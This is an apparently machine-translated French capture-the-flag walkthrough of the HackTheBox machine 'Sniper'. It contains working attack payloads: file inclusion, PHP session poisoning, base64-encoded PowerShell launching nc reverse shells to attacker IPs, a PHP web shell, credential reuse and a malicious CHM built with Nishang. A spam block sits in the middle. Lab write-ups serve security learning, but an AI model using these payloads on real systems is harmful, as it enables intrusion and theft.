présenter
Sniper est un drone cible de difficulté moyenne. Les points de connaissance impliquent l'inclusion et l'utilisation de fichiers locaux, l'inclusion et l'utilisation de fichiers distants, la création d'informations d'identification, l'utilisation de fichiers chm malveillants, etc.
Liquidation Mind Map
Enquêter
détection de port
Faites d'abord une analyse de port avec nmap
nmap -Pn -p- -sV -sC -A 10.10.10.151 -oA nmap_Sniper
port 80
Après la visite, il a été découvert qu'il s'agissait d'une société appelée Sniper Co., dont l'activité principale était la livraison express.
Cliquez sur Nos serveurs accéderont à /blog/index.php, cliquez sur Portail utilisateur pour accéder à l'interface de connexion /user/login.php
Analyse de répertoire
Analyse de répertoire avec gobuster
gobuster dir -u http://10.10.10.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
Blog
Il y a des listes déroulantes de langue dans le blog, qui sont
http://10.10.10.151/blog/?lang=blog-en.php
http://10.10.10.151/blog/?lang=blog-es.php
http://10.10.10.151/blog/?lang=blog-fr.php
Les trois interfaces de langage sont toutes dans le même répertoire. On peut juger qu'il est inclus via le code php include $_GET['lang']. Si le filtrage n'est pas strict, il peut y avoir une vulnérabilité d'inclusion de fichier
utilisateur \
Il y a une interface d'enregistrement sous l'interface de connexion, essayez d'enregistrer un compte
Connectez-vous avec le compte nouvellement enregistré admin/admin
en ligne [iusr]
[→Suivez-moi pour toutes les ressources, et répondez aux "données" par message privé pour obtenir ←]
1. Parcours d'apprentissage de la sécurité réseau
2. E-books (chapeau blanc)
3. Vidéo interne d'une grande entreprise de sécurité4,
100 documents src5
, des questions d'entretien de sécurité courantes6
, une analyse des sujets classiques du concours de la fct
7, un ensemble complet de boîtes à outils
8, des notes d'intervention d'urgence
Vérifiez que le fichier contient
fichier local contient
Essayez d'abord de lire le fichier index.php du dernier répertoire
L'affichage ne peut pas être lu, mais le chemin absolu \windows\win.ini peut être lu avec succès
le fichier distant contient
Utilisez smbserver pour démarrer le service smb localement, et placez un fichier texte mac.txt dans le répertoire avec le contenu mac is good,
python3 smbserver.py -smb2support mac ~/hackthebox/Machines/Sniper/
Tentative de demande d'adresse de fichier distant : \10.10.14.7\mac\mac.txt
Demande réussie du contenu de mac.txt et vérification de la réponse pour constater que la machine cible a envoyé une demande au local
S'il y a un problème avec la mise en place du service smb, vous pouvez également utiliser les méthodes suivantes
vim /etc/samba/smb.conf
[mac]
path = /root/hackthebox/Machines/Sniper/
browseable = yes
read only = no
create mask = 777
guest ok = yes
force user = nobody
force group = nogroup
Démarrer le service
service smbd restart
service nmbd restart
Le fichier local contient en ligne
Sous Windows, l'adresse de session par défaut est le répertoire \windows\temp. Une fois connecté au compte, nous pouvons obtenir le PHPSESSID sous la forme 8b23pbv8tj4m02qisnape584d8
De cette façon, nous pouvons en déduire que le fichier de session PHP est \windows\temp\sess_8b23pbv8tj4m02qisnape584d8
Ensuite, essayez d'écrire le code d'exécution PHP dans le nom d'utilisateur dans l'interface d'enregistrement
<?php system("whoami")?>
Bien que je puisse m'inscrire avec succès, mais je ne peux pas me connecter avec succès
Il peut y avoir une injection dans le code backend, essayez d'obscurcir la déclaration
a<?php echo `whoami` ?>b
Après une connexion réussie, le fichier de session de demande a trouvé que la commande a été exécutée avec succès
Essayez d'obtenir le fichier répertoire des utilisateurs sous le site pour comprendre les règles de filtrage de registration.php, le chemin par défaut du site est \inetpub\wwwroot
a<?php echo `dir \inetpub\wwwroot\user` ?>b
J'ai rencontré un problème lors de la lecture de registration.php. Le caractère . empêchait l'affichage du contenu. Utilisez * au lieu du code source pour obtenir le fichier
a<?php echo `powershell cat \inetpub\wwwroot\user\registration*php` ?>b
La liste noire contient les caractères -$[(_.;&"\, donc ces caractères spéciaux ne peuvent pas être inclus dans la commande, et l'encodage base64 peut nous aider à contourner ces restrictions de caractères
echo 'cmd /c "\10.10.14.7\mac\nc64.exe -e cmd 10.10.14.7 443"' | iconv -f ascii -t utf-16le | base64 -w0
/enc décodera base64 lors de l'exécution de la commande, qui peut être enregistrée comme le code suivant
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4ANwBcAG0AYQBjAAoAYwA2ADQALgBlAHgAZQAgAC0AZQAgAGMAbQBkACAAMQAwAC4AMQAwAC4AMQA0AC4ANwAgADQANAAzACIACgA=` ?>
Écouter localement sur le port 443
rlwrap nc -nvlp 443
Demander les données de session après une connexion réussie
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8b23pbv8tj4m02qisnape584d8'
Mais il n'a pas renvoyé la session, n'a même pas demandé le service smb, alors décodez le base64 et comparez-le avec le code de 0xdf
J'ai trouvé que ma commande n'était pas complète. Il s'est avéré que \n était échappé et devait être recodé.
YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA
Validation réussie\
Enregistrez à nouveau un compte sur l'interface d'enregistrement et demandez les données de session
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA` ?>
Obtenez avec succès la coque de rebond
Le fichier distant contient en ligne
En plus d'inclure via des fichiers locaux, nous pouvons également utiliser des inclusions de fichiers distants, comme l'inclusion d'un simple poney PHP
<?php system($_REQUEST['cmd'])?>
Un paramètre contenant cmd peut être demandé pour vérification
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/</html>/,/</body>/p'
La commande est exécutée avec succès, nous pouvons donc exécuter la commande reverse shell via ce shell
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=\10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 4444'
Écouter localement sur le port 4444
rlwrap nc -nvlp 4444
A fait rebondir le shell avec succès
Escalade des privilèges [chris]
collecter des messages
Retrouver les informations d'authentification de la base de données dans l'annuaire du site en cours
type c:\inetpub\wwwroot\user\db.php
Parmi eux, le mot de passe est 36mEAhz/B8xQ~2VM. En même temps, on constate que l'utilisateur Chris et l'administrateur
dir c:\Users\
obtenir des informations d'identification
Avec le mot de passe du compte, vous pouvez essayer d'exécuter leur identité via powershell, vérifiez d'abord le nom d'hôte
powershell
PS > hostname
Créer des informations d'identification pour l'utilisateur Chris
PS > $user = "Sniper\Chris"
PS > $pass = "36mEAhz/B8xQ~2VM"
PS > $secstr = New-Object -TypeName System.Security.SecureString
PS > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
Vous pouvez voir que l'autorisation d'exécution est Chris, et l'affichage de l'utilisateur Chris trouve que Chris appartient au groupe d'utilisateurs de gestion à distance
net user chris
Obtenir le premier drapeau sur le bureau de l'utilisateur actuel
PS > Invoke-Command -ScriptBlock { dir c:\Users\chris\Desktop } -Credential $cred -Computer localhost
PS > Invoke-Command -ScriptBlock { type c:\Users\chris\Desktop\user.txt } -Credential $cred -Computer localhost
A obtenu avec succès le premier drapeau
coquille de rebond
La coque de rebond peut être complétée à l'aide de nc local
PS > Invoke-Command -ScriptBlock { \10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 5555 } -Credential $cred -Computer localhost
Écouter localement sur le port 5555
rlwrap nc -nvlp 5555
Obtenez avec succès la coque de rebond
Escalade des privilèges [administrateur]
collecter des messages
Il y a plusieurs fichiers dans le répertoire C:\Docs
cd C:\Docs
dir
Consultez note.txt où le PDG demande à Chris de supprimer le document
type note.txt
Instructions.chm existe dans le répertoire Téléchargements de l'utilisateur actuel
cd c:\Users\Chris\Downloads\
dir c:\Users\Chris\Downloads\
.chm est un fichier d'aide Windows, il peut donc s'agir du document dont parle le PDG, copiez-le localement pour vérifier
copy instructions.chm \10.10.14.5\mac\instructions.chm
chm malveillant
Le Out-CHM.ps1 dans Nishang peut nous aider à charger la charge utile dans le fichier .chm à exécuter, importez d'abord le fichier dans Windows
Import-Module .\Out-CHM.ps1
Appelez Out-CHM pour transmettre le chemin HTML Help Workshop et charger la charge utilec
Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.5 6666" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
HTML Help Workshop doit être installé avant l'exécution, sinon une erreur se produira
doc.chm généré avec succès
L'administrateur est en ligne
Copiez doc.chm et nc64.exe sur la machine cible
copy \10.10.14.5\mac\doc.chm .
copy \10.10.14.5\mac\nc64.exe \windows\system32\spool\drivers\color\nc64.exe
Activer la surveillance en même temps
rlwrap nc -nvlp 6666
Obtenez avec succès les privilèges d'administrateur, recherchez le deuxième drapeau sur le bureau de l'administrateur Hassan
dir c:\Users\administrator\Desktop
type c:\Users\administrator\Desktop\root.txt
Obtenu avec succès le deuxième drapeau
Résumer:
Il existe deux répertoires importants sur le site, à savoir user et blog. Le répertoire blog utilise ?lang=xx.php dans le changement de langue, ce qui indique en grande partie qu'il peut y avoir des vulnérabilités d'inclusion de fichiers ; le répertoire user est utilisé pour l'enregistrement et la connexion des utilisateurs. Le compte et l'utilisation de session ultérieure nous ont également aidés à obtenir l'identifiant de session, confirmant ainsi l'adresse de session.
Après une vérification réussie de la vulnérabilité d'inclusion de fichier, nous avons découvert qu'il existe deux façons d'aller en ligne. L'une est l'inclusion et l'utilisation de fichiers locaux, c'est-à-dire que l'effet de l'exécution de code est obtenu en incluant le nom d'utilisateur enregistré (code PHP) dans l'emplacement de la session ; le second est l'inclusion et l'utilisation de fichiers distants relativement simples. , c'est-à-dire que tant que le fichier cheval de Troie est placé localement et que la demande est incluse, l'autorisation peut être obtenue.
Une fois la machine cible en ligne, recherchez le fichier de configuration de la base de données et un mot de passe. Utilisez le nom d'utilisateur et le mot de passe pour créer des informations d'identification via PowerShell afin de vous connecter en tant qu'utilisateur chris. Enfin, utilisez le script nishang Out-CHM pour générer un fichier chm malveillant afin d'obtenir les droits d'utilisateur administrateur.